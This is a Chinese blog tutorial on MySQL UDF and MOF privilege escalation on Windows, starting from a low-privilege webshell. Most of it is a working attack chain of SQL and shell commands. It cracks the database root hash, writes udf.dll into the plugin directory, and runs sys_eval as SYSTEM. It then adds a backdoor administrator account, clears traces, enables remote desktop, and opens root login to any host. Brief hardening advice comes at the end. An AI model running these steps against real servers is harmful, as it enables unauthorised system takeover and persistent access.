mysql udf提权

实验环境:windows下已获得低权限的webshell(apache服务不使用phpstudy运行),mysql版本为5.5.29
如果版本号>5.1.4 上传udf的位置应该放在mysql\lib\plugin(如果不存在目录 自己新建一个),如果版本<5.1 上传udf的位置应该放在c:\windows目录或者c:\windows\windows32下,抛弃win2000等特殊情况

 

0x00 提权条件

1.必须是root权限(需要创建和抛弃自定义函数)

2.secure_file_priv=(必须为空,secure_file_priv为null或者为/tmp/都不行,因为它需要在指定的位置写入udf文件)

 

0x01 数据库密码获取

使用菜刀连接webshell,执行whoami为user的普通权限,执行net user添加用户拒绝访问,需要提权做后渗透,由于演示这里选择mysql的udf提权

该系统使用了mysql数据库,可以尝试mysql的udf提权和mof,先尝试udf,而提权需要找到数据库的密码,

获取对方的mysql数据库下的root账号密码四种方法:(①查看网站源码里面的数据库配置文件inc,conn,config,sql,commin,data等 ②爆破3306端口 ③查看数据库安装路径下的user.myd 在/data/mysql/ ④存在sql注入的情况下可以获取数据库密码hash值解密

这里我只讲③和④,③实际情况有时候往往找不到数据库的配置文件或者被加密了,这个时候可以尝试寻找数据库的user.MYD文件,里面存的是用户的密码的hash值,获取了以后可以通过cmd5或者其他途径进行查找,它默认在mysql安装目录\data\mysql\下面,找到user.myd复制一份出来。

 

 使用ultraEdit文本编辑器进行打开,获得hash值81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,并且通过cmd5等解密网站碰撞得到明文root

④假设存在注入,数据库的账号密码信息存在mysql.user表下,通过sql语句查询即可获得hash密文拿去在线网站碰撞即可,select host,user,password from mysql.user

 

0x02  上传udf文件

找到了数据库的密码,可以通过远程登录数据库,phpmyadmin服务登录,webshell管理工具登录等(这里使用最后一种方式演示)

 执行show variables like 'secure_file_priv';  结果为空证明可写入

SELECT @@version%,查看数据库版本,果版本号>5.1.4 上传udf的位置应该放在mysql\lib\plugin【如果不存在目录 自己新建一个】,如果版本小于5.1 上传udf的位置应该放在c盘的windows目录下,win2000则放在C:\winnt\udf.dll 下

SHOW VARIABLES LIKE 'basedir',查看该路径下的lib\plugin目录是否存在,如果没有则创建

SHOW VARIABLES LIKE '%compile%',查看是64位还是32位的dll文件

 

如果没有lib和plugin文件夹,可以在webshell下直接手动创建两个文件夹,下面两句命令也可以ADS文件流形式创建两个文件夹

select 'aaa' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
select 'udfdll' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION'

 

这里我直接把udf.dll文件上传到这个lib\plugin目录下,关于udf.dll文件在哪获取,读者可以在sqlmap或者msf里面获取,具体操作自行百度,篇章有限,我是使用sqlmap里面的文件

上传udf的另一种思路,先把dll文件上传至网站的某个目录下,使用16进制编码udf文件,将网站根目录的lib_mysqludf_sys.dll文件以转换为16进制的lib_mysqludf_sys.txt文件,再将txt里面的16进制内容通过select 0x十六进制payload into dunpfile 'xxxxx\\udf.dll'里面
select hex(load_file('C:\\phpstudy_pro\\WWW\\\lib_mysqludf_sys.dll')) into dumpfile 'C:\\phpstudy_pro\\WWW\\\lib_mysqludf_sys.txt';
select 0x.... into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll';

0x03 udf文件利用

create function sys_eval returns string soname 'udf.dll';  # 使用udf.dll创建恶意函数sys_eval,函数可以打开sqlmapudf.dll最下面查看,这里我们选择sys_eval即可

 

select sys_eval('whoami');  # 执行查看当前权限,不出意外为system

select sys_eval('net user udfadmin 123 /add && net localgroup administrators udfadmin /add')  #创建一个管理员账号密码为udfadmin/123

drop function sys_eval;  #销毁函数,简单痕迹清除

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1  # 开启远程桌面,登录udfadmin用户

 

0x04  使用udf脚本

一气呵成,直接上传到一个可读可执行的目录(这里使用暗师傅的脚本),输入账号密码,点两下鼠标完成操作

0x05  udf提权—Linux

linux环境下的UDF提权大概率仅限于靶场环境中,原因:在Linux严格的系统权限下,mysql用户或web用户无plugin目录的写入权限。
linux环境下的udf提权除利用条件外与Windows环境下完全相同,利用条件:除windows中的内容外,还需要plugin目录的写入权限。

0x06  mof提权

利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下

第一种方法—上传php脚本文件(跟0x04这类大佬写好的脚本文件),输入相关信息,执行命令。提权

第二种方法—上传x.mof(普通的mof文件),使用select命令导出入到正确位置,select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof',直接net user

允许外部地址使用root用户连接sql语句—Grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;

 

0x07  修复建议

1.mysql配置文件中secure_file_priv项设置为NULL或非 mysql/lib/plugin目录。
2.控制目录访问权限,例如控制/lib/plugin,system32/wbem/mof等目录需要管理员权限访问或者设置为只读权限。
3.数据库用户确保正确实施最小权限原则。

 

0x08 遇到的一些坑

ERROR 1125 (HY000): Function 'sys_eval' already exists
提示sys_eval 函数已经存在,可能已经被利用过了,尝试直接调用函数。或者尝试将udf提权相关的利用函数进行删除后重新创建。再不行重启mysqld服务器再创建

ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )
在进行udf提权时碰到这个错误一般是ufd文件位数选择错误,尝试另一个位数的udf文件。

Can't open shared library 'udf.dll' (errno: 5 )
至今未解决

posted @ 2022-05-08 23:59  pandaes  阅读(1656)  评论(0编辑  收藏  举报